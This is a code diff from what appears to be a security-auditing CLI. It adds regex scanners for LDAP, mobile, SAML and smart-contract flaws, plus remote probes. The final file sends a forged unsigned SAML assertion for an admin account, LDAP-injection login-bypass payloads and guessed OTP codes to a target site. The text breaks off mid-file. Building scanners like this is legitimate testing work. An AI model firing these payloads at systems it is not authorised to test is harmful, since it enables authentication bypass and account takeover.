|
49
|
+
{ name: 'CSRF Token Analysis', value: 'csrf', fn: auditCsrf },
|
|
50
|
+
{ name: 'Account Takeover (ATO)', value: 'ato', fn: auditAto },
|
|
51
|
+
{ name: 'Cloud Misconfig (S3/IAM)', value: 'cloud', fn: auditCloud },
|
|
52
|
+
{ name: 'CI/CD Pipeline', value: 'cicd', fn: auditCicd },
|
|
53
|
+
{ name: 'Mobile Security', value: 'mobile', fn: auditMobile },
|
|
54
|
+
{ name: 'Web3 / Smart Contracts', value: 'web3', fn: auditWeb3 },
|
|
39
55
|
];
|
|
40
56
|
|
|
41
57
|
export async function runLocalAudit(projectPath, spinner, modules = null) {
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
import { readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join, extname } from 'path';
|
|
3
|
+
import { addFinding } from '../core/findings.js';
|
|
4
|
+
|
|
5
|
+
const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.py', '.rb', '.php', '.java', '.go', '.cs'];
|
|
6
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
|
|
7
|
+
|
|
8
|
+
export async function auditLdap(projectPath, spinner) {
|
|
9
|
+
spinner.text = 'Scanning for LDAP injection...';
|
|
10
|
+
const files = getFiles(projectPath);
|
|
11
|
+
|
|
12
|
+
for (const file of files) {
|
|
13
|
+
try {
|
|
14
|
+
const content = readFileSync(file, 'utf-8');
|
|
15
|
+
const relativePath = file.replace(projectPath, '.');
|
|
16
|
+
const lines = content.split('\n');
|
|
17
|
+
|
|
18
|
+
const patterns = [
|
|
19
|
+
{ pattern: /ldap\.(?:search|query|compare|modify)\s*\(\s*[^,]*,\s*(?:req|request|params|query|body|user|input|data)/gi, name: 'LDAP query with user input', severity: 'CRITICAL' },
|
|
20
|
+
{ pattern: /LDAP.*(?:filter|query)\s*[:=]\s*(?:req|request|params|query|body|user)\s*\+/gi, name: 'LDAP filter concatenation with user input', severity: 'CRITICAL' },
|
|
21
|
+
{ pattern: /ldap\.search\s*\(\s*[^,]*,\s*['"`][^'"`]*\$\{/gi, name: 'LDAP search with template literal user input', severity: 'CRITICAL' },
|
|
22
|
+
{ pattern: /ldap\.search\s*\(\s*[^,]*,\s*['"`][^'"`]*\+/gi, name: 'LDAP search with concatenated input', severity: 'CRITICAL' },
|
|
23
|
+
{ pattern: /(?:authenticate|ldap_auth|ldapauth|active.?directory)\s*\(\s*(?:req|request|params|query|body)/gi, name: 'LDAP auth with user-controlled filter', severity: 'CRITICAL' },
|
|
24
|
+
{ pattern: /ldap\.escape\s*\(\s*\)|ldap\.escapeFilter/gi, name: 'LDAP escaping used (good practice)', severity: 'INFO' },
|
|
25
|
+
{ pattern: /(?:ldap|AD|active.?directory).*(?:filter|query|search).*['"`]\s*\+/gi, name: 'LDAP filter concatenation detected', severity: 'HIGH' },
|
|
26
|
+
{ pattern: /(?:uid|cn|mail|samaccountname)\s*=\s*(?:req|request|params|query|body)/gi, name: 'LDAP attribute from user input', severity: 'HIGH' },
|
|
27
|
+
{ pattern: /ActiveDirectory\s*\(\s*\{/gi, name: 'Active Directory configuration', severity: 'INFO' },
|
|
28
|
+
{ pattern: /ldapjs|passport-ldap|ldapts|node-ldap/gi, name: 'LDAP library usage', severity: 'INFO' },
|
|
29
|
+
{ pattern: /(?:ldap|AD|active.?directory).*(?:URI|URL|host|server)\s*[:=]\s*['"][^'"]*['"]/gi, name: 'LDAP server config hardcoded', severity: 'LOW' },
|
|
30
|
+
{ pattern: /(?:ssl|tls|starttls|ldaps).*(?:false|disabled?|no|none)/gi, name: 'LDAP without TLS/SSL', severity: 'HIGH' },
|
|
31
|
+
];
|
|
32
|
+
|
|
33
|
+
for (const { pattern, name, severity } of patterns) {
|
|
34
|
+
let match;
|
|
35
|
+
while ((match = pattern.exec(content)) !== null) {
|
|
36
|
+
const lineNum = content.substring(0, match.index).split('\n').length;
|
|
37
|
+
const line = lines[lineNum - 1]?.trim() || '';
|
|
38
|
+
if (line.startsWith('//') || line.startsWith('#') || line.startsWith('*')) continue;
|
|
39
|
+
|
|
40
|
+
addFinding(
|
|
41
|
+
severity,
|
|
42
|
+
'LDAP Injection',
|
|
43
|
+
name,
|
|
44
|
+
`File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
|
|
45
|
+
'Never concatenate user input into LDAP filters. Use parameterized LDAP queries or a safe LDAP query builder. Escape special characters (*, (, ), \\, /, &, |, !, =, <, >, ~, #) with ldap.escapeFilter(). Use LDAPS (LDAP over TLS) instead of plain LDAP.'
|
|
46
|
+
);
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
} catch {}
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
function getFiles(dir, files = []) {
|
|
54
|
+
try {
|
|
55
|
+
const entries = readdirSync(dir);
|
|
56
|
+
for (const entry of entries) {
|
|
57
|
+
if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
|
|
58
|
+
const fullPath = join(dir, entry);
|
|
59
|
+
try {
|
|
60
|
+
const stat = statSync(fullPath);
|
|
61
|
+
if (stat.isDirectory()) getFiles(fullPath, files);
|
|
62
|
+
else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
|
|
63
|
+
} catch {}
|
|
64
|
+
}
|
|
65
|
+
} catch {}
|
|
66
|
+
return files;
|
|
67
|
+
}
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
import { readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join, extname } from 'path';
|
|
3
|
+
import { addFinding } from '../core/findings.js';
|
|
4
|
+
|
|
5
|
+
const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.mjs', '.xml', '.kt', '.swift', '.dart', '.json', '.plist'];
|
|
6
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor', 'android', 'ios'];
|
|
7
|
+
|
|
8
|
+
export async function auditMobile(projectPath, spinner) {
|
|
9
|
+
spinner.text = 'Scanning for mobile security issues...';
|
|
10
|
+
const files = getFiles(projectPath);
|
|
11
|
+
|
|
12
|
+
for (const file of files) {
|
|
13
|
+
try {
|
|
14
|
+
const content = readFileSync(file, 'utf-8');
|
|
15
|
+
const relativePath = file.replace(projectPath, '.');
|
|
16
|
+
const lines = content.split('\n');
|
|
17
|
+
|
|
18
|
+
const patterns = [
|
|
19
|
+
{ pattern: /(?:firebase|supabase|API|SECRET|TOKEN|KEY).*\s*=\s*['"][A-Za-z0-9_\-\+=\/]{20,}['"]/gi, name: 'API key/secret exposed in mobile code', severity: 'CRITICAL' },
|
|
20
|
+
{ pattern: /android:allowBackup\s*=\s*"true"/gi, name: 'Android allowBackup=true (data extraction)', severity: 'MEDIUM' },
|
|
21
|
+
{ pattern: /android:debuggable\s*=\s*"true"/gi, name: 'Android debuggable=true in release', severity: 'HIGH' },
|
|
22
|
+
{ pattern: /android:usesCleartextTraffic\s*=\s*"true"/gi, name: 'Android cleartext (HTTP) traffic allowed', severity: 'HIGH' },
|
|
23
|
+
{ pattern: /NSAppTransportSecurity.*NSAllowsArbitraryLoads/gi, name: 'iOS ATS disabled (HTTP allowed)', severity: 'HIGH' },
|
|
24
|
+
{ pattern: /android:networkSecurityConfig/gi, name: 'Android custom network security config', severity: 'MEDIUM' },
|
|
25
|
+
{ pattern: /(?:NSAllowsLocalNetworking|NSTemporaryExceptionAllowsInsecureHTTPLoads)/gi, name: 'iOS ATS exceptions enabled', severity: 'MEDIUM' },
|
|
26
|
+
{ pattern: /android:exported\s*=\s*"true"/gi, name: 'Android component exported (IPC risk)', severity: 'MEDIUM' },
|
|
27
|
+
{ pattern: /android:protectionLevel\s*=\s*"normal"/gi, name: 'Android permission protectionLevel normal', severity: 'LOW' },
|
|
28
|
+
{ pattern: /deeplink|intent-filter.*data.*android:scheme/gi, name: 'Deep link / intent filter configured', severity: 'MEDIUM' },
|
|
29
|
+
{ pattern: /(?:React\.Native|flutter|ionic|cordova|capacitor)/gi, name: 'Cross-platform framework usage', severity: 'INFO' },
|
|
30
|
+
{ pattern: /(?:AsyncStorage|SharedPreferences|NSUserDefaults|Keychain|Keystore)/gi, name: 'Local storage usage (check encryption)', severity: 'INFO' },
|
|
31
|
+
{ pattern: /ssl.*pinning|certificate.*pinning|SSLPinningPlugin|TrustKit|certificatePinner/gi, name: 'Certificate pinning implemented', severity: 'INFO' },
|
|
32
|
+
{ pattern: /firebase\.io\.com|google-services\.json|GoogleService-Info\.plist/gi, name: 'Firebase config file referenced', severity: 'MEDIUM' },
|
|
33
|
+
{ pattern: /(?:root|jailbreak).*detect|isRooted|isJailbroken|rootbeer|safety.?net/gi, name: 'Root/jailbreak detection', severity: 'INFO' },
|
|
34
|
+
{ pattern: /(?:WebView|WKWebView).*(?:setJavaScriptEnabled|javaScriptEnabled)/gi, name: 'WebView JS enabled (XSS surface)', severity: 'MEDIUM' },
|
|
35
|
+
];
|
|
36
|
+
|
|
37
|
+
for (const { pattern, name, severity } of patterns) {
|
|
38
|
+
let match;
|
|
39
|
+
while ((match = pattern.exec(content)) !== null) {
|
|
40
|
+
const lineNum = content.substring(0, match.index).split('\n').length;
|
|
41
|
+
const line = lines[lineNum - 1]?.trim() || '';
|
|
42
|
+
if (line.startsWith('//') || line.startsWith('#') || line.startsWith('*') || line.startsWith('<!--')) continue;
|
|
43
|
+
|
|
44
|
+
addFinding(
|
|
45
|
+
severity,
|
|
46
|
+
'Mobile Security',
|
|
47
|
+
name,
|
|
48
|
+
`File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
|
|
49
|
+
'Never hardcode API keys/secrets in mobile apps. Use server-side proxying. Enable certificate pinning. Set debuggable=false for release builds. Disable allowBackup unless encrypted. Use Network Security Config to restrict cleartext traffic. Enable minify/obfuscation for production.'
|
|
50
|
+
);
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
} catch {}
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
function getFiles(dir, files = []) {
|
|
58
|
+
try {
|
|
59
|
+
const entries = readdirSync(dir);
|
|
60
|
+
for (const entry of entries) {
|
|
61
|
+
if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
|
|
62
|
+
const fullPath = join(dir, entry);
|
|
63
|
+
try {
|
|
64
|
+
const stat = statSync(fullPath);
|
|
65
|
+
if (stat.isDirectory()) getFiles(fullPath, files);
|
|
66
|
+
else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 512 * 1024) files.push(fullPath);
|
|
67
|
+
} catch {}
|
|
68
|
+
}
|
|
69
|
+
} catch {}
|
|
70
|
+
return files;
|
|
71
|
+
}
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
import { readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join, extname } from 'path';
|
|
3
|
+
import { addFinding } from '../core/findings.js';
|
|
4
|
+
|
|
5
|
+
const SCAN_EXTENSIONS = ['.js', '.ts', '.jsx', '.tsx', '.py', '.rb', '.php', '.java', '.go', '.xml', '.env', '.conf', '.yml', '.yaml'];
|
|
6
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor'];
|
|
7
|
+
|
|
8
|
+
export async function auditSaml(projectPath, spinner) {
|
|
9
|
+
spinner.text = 'Scanning for SAML/SSO vulnerabilities...';
|
|
10
|
+
const files = getFiles(projectPath);
|
|
11
|
+
|
|
12
|
+
for (const file of files) {
|
|
13
|
+
try {
|
|
14
|
+
const content = readFileSync(file, 'utf-8');
|
|
15
|
+
const relativePath = file.replace(projectPath, '.');
|
|
16
|
+
const lines = content.split('\n');
|
|
17
|
+
|
|
18
|
+
const patterns = [
|
|
19
|
+
{ pattern: /signature\s*.*(?:skip|disabled?|false|none)/gi, name: 'SAML signature validation disabled/skipped', severity: 'CRITICAL' },
|
|
20
|
+
{ pattern: /(?:validate|verify|check).*signature\s*.*(?:false|null|undefined|skip)/gi, name: 'Signature verification disabled', severity: 'CRITICAL' },
|
|
21
|
+
{ pattern: /wantAssertionsSigned\s*[:=]\s*false/gi, name: 'Assertions signing not required', severity: 'HIGH' },
|
|
22
|
+
{ pattern: /wantAuthnRequestsSigned\s*[:=]\s*false/gi, name: 'AuthnRequest signing not required', severity: 'HIGH' },
|
|
23
|
+
{ pattern: /(?:IDP|idp|identityProvider).*(?:metadata|config|cert|certificate).*url\s*=.*(?:http:\/\/|request)/gi, name: 'IdP metadata from dynamic/untrusted URL', severity: 'HIGH' },
|
|
24
|
+
{ pattern: /saml2\.validatePostResponse\s*\(/gi, name: 'SAML response validation (check for XSW)', severity: 'MEDIUM' },
|
|
25
|
+
{ pattern: /saml2\.validateRedirect\s*\(/gi, name: 'SAML redirect binding', severity: 'INFO' },
|
|
26
|
+
{ pattern: /(?:audience|AudienceRestriction)\s*.*(?:skip|disabled?|false)/gi, name: 'Audience restriction disabled', severity: 'HIGH' },
|
|
27
|
+
{ pattern: /(?:entityID|issuer)\s*.*(?:check|validate)\s*.*(?:false|skip)/gi, name: 'Entity ID validation skipped', severity: 'MEDIUM' },
|
|
28
|
+
{ pattern: /(?:notBefore|NotOnOrAfter|notOnOrAfter|clockSkew|skew)\s*[:=]\s*\d{4,}/gi, name: 'Large SAML clock skew (replay risk)', severity: 'LOW' },
|
|
29
|
+
{ pattern: /NameID\s*.*(?:req|request|input|body|query|params|user)/gi, name: 'NameID from user input', severity: 'CRITICAL' },
|
|
30
|
+
{ pattern: /(?:attributes?|AttributeStatement)\s*.*(?:req|request|input|body)/gi, name: 'SAML attributes from user input', severity: 'CRITICAL' },
|
|
31
|
+
{ pattern: /InResponseTo\s*.*(?:skip|disabled?|false|null)/gi, name: 'InResponseTo validation skipped', severity: 'HIGH' },
|
|
32
|
+
{ pattern: /(?:SP|serviceProvider|SAML).*(?:cert|certificate)\s*[:=]\s*['"]/gi, name: 'SAML certificate hardcoded in code', severity: 'LOW' },
|
|
33
|
+
{ pattern: /XMLSignature\s*\(\s*\)/gi, name: 'XML signature object (check for XSW bypass)', severity: 'MEDIUM' },
|
|
34
|
+
{ pattern: /(?:find|query|select)(?:Selector)?\s*\(\s*['"]\/*\/(?:\w+:)?Assertion['"]\s*\)/gi, name: 'XPath query for Assertion (XSW vulnerability)', severity: 'HIGH' },
|
|
35
|
+
{ pattern: /(?:find|query|select)(?:Selector)?\s*\(\s*['"](?:\w+:)?(?:AttributeStatement|NameID|Subject)['"]\s*\)/gi, name: 'XPath query for SAML elements (check for XSW)', severity: 'MEDIUM' },
|
|
36
|
+
];
|
|
37
|
+
|
|
38
|
+
for (const { pattern, name, severity } of patterns) {
|
|
39
|
+
let match;
|
|
40
|
+
while ((match = pattern.exec(content)) !== null) {
|
|
41
|
+
const lineNum = content.substring(0, match.index).split('\n').length;
|
|
42
|
+
const line = lines[lineNum - 1]?.trim() || '';
|
|
43
|
+
if (line.startsWith('//') || line.startsWith('#') || line.startsWith('*')) continue;
|
|
44
|
+
|
|
45
|
+
addFinding(
|
|
46
|
+
severity,
|
|
47
|
+
'SAML/SSO Attacks',
|
|
48
|
+
name,
|
|
49
|
+
`File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
|
|
50
|
+
'Validate SAML signatures with trusted Identity Provider certificates. Never accept unsigned assertions. Use XML Signature Wrapping (XSW) defenses: validate the exact XPath of signed elements. Always enforce audience restriction and InResponseTo. Do not accept NameID or attributes from user input.'
|
|
51
|
+
);
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
} catch {}
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function getFiles(dir, files = []) {
|
|
59
|
+
try {
|
|
60
|
+
const entries = readdirSync(dir);
|
|
61
|
+
for (const entry of entries) {
|
|
62
|
+
if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
|
|
63
|
+
const fullPath = join(dir, entry);
|
|
64
|
+
try {
|
|
65
|
+
const stat = statSync(fullPath);
|
|
66
|
+
if (stat.isDirectory()) getFiles(fullPath, files);
|
|
67
|
+
else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 1024 * 1024) files.push(fullPath);
|
|
68
|
+
} catch {}
|
|
69
|
+
}
|
|
70
|
+
} catch {}
|
|
71
|
+
return files;
|
|
72
|
+
}
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
import { readFileSync, readdirSync, statSync } from 'fs';
|
|
2
|
+
import { join, extname } from 'path';
|
|
3
|
+
import { addFinding } from '../core/findings.js';
|
|
4
|
+
|
|
5
|
+
const SCAN_EXTENSIONS = ['.sol', '.rs', '.js', '.ts', '.jsx', '.tsx', '.py', '.vy', '.move'];
|
|
6
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build', '__pycache__', 'vendor', 'out'];
|
|
7
|
+
|
|
8
|
+
export async function auditWeb3(projectPath, spinner) {
|
|
9
|
+
spinner.text = 'Scanning for Web3/smart contract vulnerabilities...';
|
|
10
|
+
const files = getFiles(projectPath);
|
|
11
|
+
|
|
12
|
+
for (const file of files) {
|
|
13
|
+
try {
|
|
14
|
+
const content = readFileSync(file, 'utf-8');
|
|
15
|
+
const relativePath = file.replace(projectPath, '.');
|
|
16
|
+
const lines = content.split('\n');
|
|
17
|
+
|
|
18
|
+
const patterns = [
|
|
19
|
+
{ pattern: /reentrancy|re-?entrant|nonReentrant/gi, name: 'Reentrancy guard pattern', severity: 'INFO' },
|
|
20
|
+
{ pattern: /\.call\s*\(\s*\{\s*value:|\.transfer\s*\(|\.send\s*\(/gi, name: 'ETH transfer method (check reentrancy)', severity: 'HIGH' },
|
|
21
|
+
{ pattern: /(?:transfer|send)\s*\(\s*(?:msg\.value|address\(this\)\.balance)/gi, name: 'Full balance transfer (reentrancy risk)', severity: 'CRITICAL' },
|
|
22
|
+
{ pattern: /(?:balances?|mapping).*\s*\[.*\s*\]\s*[-+]=?\s*/gi, name: 'Balance update (check CEI pattern)', severity: 'MEDIUM' },
|
|
23
|
+
{ pattern: /delegatecall|delegatecall\s*\(/gi, name: 'delegatecall usage (storage collision risk)', severity: 'CRITICAL' },
|
|
24
|
+
{ pattern: /selfdestruct|suicide\s*\(/gi, name: 'selfdestruct usage', severity: 'HIGH' },
|
|
25
|
+
{ pattern: /tx\.origin\s*={2,3}|require\s*\(\s*tx\.origin/gi, name: 'tx.origin used for auth (phishing risk)', severity: 'CRITICAL' },
|
|
26
|
+
{ pattern: /block\.timestamp.*==|block\.timestamp.*<=|block\.timestamp.*>=/gi, name: 'block.timestamp in strict comparison', severity: 'MEDIUM' },
|
|
27
|
+
{ pattern: /blockhash\s*\(|block\.blockhash/gi, name: 'Blockhash usage (predictable in multi-block context)', severity: 'MEDIUM' },
|
|
28
|
+
{ pattern: /onlyOwner|Ownable|owner\s*=\s*msg\.sender/gi, name: 'Ownable pattern (single point of failure)', severity: 'MEDIUM' },
|
|
29
|
+
{ pattern: /mint\s*\(\s*.*address|_mint\s*\(/gi, name: 'Mint function (check access control)', severity: 'HIGH' },
|
|
30
|
+
{ pattern: /proxy|implementation|upgrade|initialize/gi, name: 'Upgradeable/proxy pattern', severity: 'INFO' },
|
|
31
|
+
{ pattern: /storage\s+|assembly\s*\{.*sload|sstore/gi, name: 'Inline assembly with storage access', severity: 'HIGH' },
|
|
32
|
+
{ pattern: /unchecked\s*\{|unchecked\s*\(/gi, name: 'unchecked block (integer overflow risk)', severity: 'MEDIUM' },
|
|
33
|
+
{ pattern: /uint\d+\s*\+\s*|uint\d+\s*-\s*|uint\d+\s*\*\s*/gi, name: 'Integer arithmetic (check overflow/underflow if Solidity < 0.8)', severity: 'MEDIUM' },
|
|
34
|
+
{ pattern: /msg\.value\s*>=\s*0|msg\.value\s*==\s*0/gi, name: 'msg.value comparison (check edge cases)', severity: 'LOW' },
|
|
35
|
+
{ pattern: /(?:constructor|init)\s*\([^)]*(?:_proxy|_impl|_implementation)/gi, name: 'Proxy initialization (check for double-init)', severity: 'HIGH' },
|
|
36
|
+
{ pattern: /(?:deadline|expiry|expires).*(?:require|if|assert)\s*\(/gi, name: 'Deadline check (frontrunning protection)', severity: 'MEDIUM' },
|
|
37
|
+
];
|
|
38
|
+
|
|
39
|
+
for (const { pattern, name, severity } of patterns) {
|
|
40
|
+
let match;
|
|
41
|
+
while ((match = pattern.exec(content)) !== null) {
|
|
42
|
+
const lineNum = content.substring(0, match.index).split('\n').length;
|
|
43
|
+
const line = lines[lineNum - 1]?.trim() || '';
|
|
44
|
+
if (line.startsWith('//') || line.startsWith('#') || line.startsWith('*')) continue;
|
|
45
|
+
|
|
46
|
+
addFinding(
|
|
47
|
+
severity,
|
|
48
|
+
'Web3 / Smart Contracts',
|
|
49
|
+
name,
|
|
50
|
+
`File: ${relativePath}:${lineNum}\nCode: ${line.substring(0, 120)}`,
|
|
51
|
+
'Use Checks-Effects-Interactions pattern. Use ReentrancyGuard from OpenZeppelin. Verify proxy initializer is only called once. Use msg.sender instead of tx.origin for auth. Use block.timestamp >= for time comparisons. Run slither/aderyn for deeper analysis.'
|
|
52
|
+
);
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
} catch {}
|
|
56
|
+
}
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
function getFiles(dir, files = []) {
|
|
60
|
+
try {
|
|
61
|
+
const entries = readdirSync(dir);
|
|
62
|
+
for (const entry of entries) {
|
|
63
|
+
if (IGNORE_DIRS.includes(entry) || entry.startsWith('.')) continue;
|
|
64
|
+
const fullPath = join(dir, entry);
|
|
65
|
+
try {
|
|
66
|
+
const stat = statSync(fullPath);
|
|
67
|
+
if (stat.isDirectory()) getFiles(fullPath, files);
|
|
68
|
+
else if (SCAN_EXTENSIONS.includes(extname(entry).toLowerCase()) && stat.size < 256 * 1024) files.push(fullPath);
|
|
69
|
+
} catch {}
|
|
70
|
+
}
|
|
71
|
+
} catch {}
|
|
72
|
+
return files;
|
|
73
|
+
}
|
|
@@ -0,0 +1,238 @@
|
|
|
1
|
+
import { addFinding } from '../core/findings.js';
|
|
2
|
+
import { fetchText, fetchWithTimeout } from '../utils/fetch.js';
|
|
3
|
+
|
|
4
|
+
export async function scanSamlRemote(origin, spinner) {
|
|
5
|
+
spinner.text = 'Testing SAML/SSO endpoints...';
|
|
6
|
+
const samlPaths = ['/saml', '/auth/saml', '/sso', '/auth/sso', '/Shibboleth.sso', '/adfs/ls', '/saml/SSO', '/saml2', '/websso/SAML2/Metadata'];
|
|
7
|
+
|
|
8
|
+
for (const path of samlPaths) {
|
|
9
|
+
try {
|
|
10
|
+
const resp = await fetchText(`${origin}${path}`, {}, 5000);
|
|
11
|
+
if (resp.status === 200 || resp.status === 302) {
|
|
12
|
+
if (path.includes('Metadata') && resp.status === 200) {
|
|
13
|
+
addFinding('MEDIUM', 'SAML/SSO', `SAML metadata exposed: ${path}`, `${origin}${path} returns SAML metadata XML`, 'Review metadata for certificate info and supported bindings. Ensure entity IDs are correct.');
|
|
14
|
+
} else {
|
|
15
|
+
addFinding('INFO', 'SAML/SSO', `SAML endpoint found: ${path}`, `Status: ${resp.status}`, 'Test for XML Signature Wrapping (XSW1-XSW8), signature stripping, and comment injection in NameID.');
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
} catch {}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
try {
|
|
22
|
+
const xswPayload = `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="test" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
|
|
23
|
+
<saml:Issuer>evil-idp</saml:Issuer>
|
|
24
|
+
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
|
|
25
|
+
<saml:Assertion ID="evil-assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
|
|
26
|
+
<saml:Issuer>evil-idp</saml:Issuer>
|
|
27
|
+
<saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@target.com</saml:NameID></saml:Subject>
|
|
28
|
+
<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2030-01-01T00:00:00Z"/>
|
|
29
|
+
<saml:AuthnStatement AuthnInstant="2024-01-01T00:00:00Z">
|
|
30
|
+
<saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext>
|
|
31
|
+
</saml:AuthnStatement>
|
|
32
|
+
</saml:Assertion>
|
|
33
|
+
</samlp:Response>`;
|
|
34
|
+
|
|
35
|
+
const encodedXsw = Buffer.from(xswPayload).toString('base64');
|
|
36
|
+
const samlConsumes = ['/saml/acs', '/auth/saml/callback', '/sso/acs', '/Shibboleth.sso/SAML2/POST'];
|
|
37
|
+
|
|
38
|
+
for (const consumer of samlConsumes) {
|
|
39
|
+
try {
|
|
40
|
+
const resp = await fetchText(`${origin}${consumer}`, {
|
|
41
|
+
method: 'POST',
|
|
42
|
+
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
|
|
43
|
+
body: `SAMLResponse=${encodeURIComponent(encodedXsw)}`,
|
|
44
|
+
}, 5000);
|
|
45
|
+
|
|
46
|
+
if (resp.status === 200 || resp.status === 302) {
|
|
47
|
+
if (!resp.body.includes('error') && !resp.body.includes('invalid signature') && !resp.body.includes('Unauthorized')) {
|
|
48
|
+
addFinding('HIGH', 'SAML/SSO', `SAML POST ACS at ${consumer} accepts unsigned assertion`, `Unsigned SAML response returned ${resp.status} without error`, 'Always validate SAML signatures. Check for XML Signature Wrapping (XSW) vulnerabilities.');
|
|
49
|
+
break;
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
} catch {}
|
|
53
|
+
}
|
|
54
|
+
} catch {}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
export async function scanLdapRemote(origin, spinner) {
|
|
58
|
+
spinner.text = 'Testing LDAP injection...';
|
|
59
|
+
const params = ['user', 'username', 'login', 'uid', 'email', 'search', 'query', 'filter', 'cn', 'name'];
|
|
60
|
+
const payloads = ['*)(uid=*))(|(uid=*', '*', 'admin*', '*)(|(uid=*', 'admin)(|(uid=*'];
|
|
61
|
+
|
|
62
|
+
for (const param of params) {
|
|
63
|
+
for (const payload of payloads.slice(0, 3)) {
|
|
64
|
+
try {
|
|
65
|
+
const resp = await fetchText(`${origin}/?${param}=${encodeURIComponent(payload)}`, {}, 5000);
|
|
66
|
+
if (resp.status === 200 && (resp.body.toLowerCase().includes('admin') || resp.body.length > 10000)) {
|
|
67
|
+
addFinding('CRITICAL', 'LDAP Injection', `LDAP injection via ?${param}=`, `Payload "${payload}" returned sensitive data`, 'Escape LDAP special characters. Use parameterized queries.');
|
|
68
|
+
break;
|
|
69
|
+
}
|
|
70
|
+
} catch {}
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
try {
|
|
75
|
+
const resp = await fetchText(`${origin}/api/login`, {
|
|
76
|
+
method: 'POST',
|
|
77
|
+
headers: { 'Content-Type': 'application/json' },
|
|
78
|
+
body: JSON.stringify({ username: '*)(uid=*))(|(uid=*', password: 'anything' }),
|
|
79
|
+
}, 5000);
|
|
80
|
+
|
|
81
|
+
if (resp.status === 200) {
|
|
82
|
+
addFinding('CRITICAL', 'LDAP Injection', 'LDAP injection auth bypass at /api/login', 'Wildcard LDAP payload returned success', 'Validate and escape all inputs in LDAP filters. Never concatenate user input into LDAP queries.');
|
|
83
|
+
}
|
|
84
|
+
} catch {}
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
export async function scanMfaBypass(origin, spinner) {
|
|
88
|
+
spinner.text = 'Testing MFA/OTP bypass vectors...';
|
|
89
|
+
|
|
90
|
+
const postMfaPaths = ['/dashboard', '/account', '/settings', '/profile', '/home', '/user', '/mfa/setup', '/mfa/disable', '/2fa', '/api/me', '/api/user'];
|
|
91
|
+
|
|
92
|
+
for (const path of postMfaPaths) {
|
|
93
|
+
try {
|
|
94
|
+
const resp = await fetchText(`${origin}${path}`, {}, 5000);
|
|
95
|
+
if (resp.status === 200 && !resp.body.toLowerCase().includes('login') && !resp.body.toLowerCase().includes('2fa') && !resp.body.toLowerCase().includes('mfa')) {
|
|
96
|
+
addFinding('HIGH', 'MFA Bypass', `Post-login path accessible without MFA: ${path}`, `${origin}${path} returns 200 without MFA challenge`, 'Enforce MFA at middleware level, not per-route. Gate all authenticated endpoints behind MFA check.');
|
|
97
|
+
}
|
|
98
|
+
} catch {}
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
try {
|
|
102
|
+
const otpEndpoints = ['/api/verify-otp', '/api/mfa/verify', '/api/2fa/verify', '/api/auth/totp', '/api/otp'];
|
|
103
|
+
for (const ep of otpEndpoints) {
|
|
104
|
+
for (let i = 0; i < 3; i++) {
|
|
105
|
+
try {
|
|
106
|
+
const resp = await fetchText(`${origin}${ep}`, {
|
|
107
|
+
method: 'POST',
|
|
108
|
+
headers: { 'Content-Type': 'application/json' },
|
|
109
|
+
body: JSON.stringify({ code: String(Math.floor(Math.random() * 1000000)).padStart(6, '0') }),
|
|
110
|
+
}, 3000);
|
|
111
|
+
|
|
112
|
+
if (resp.status !== 429 && resp.status !== 400 && resp.status !== 401) {
|
|
113
|
+
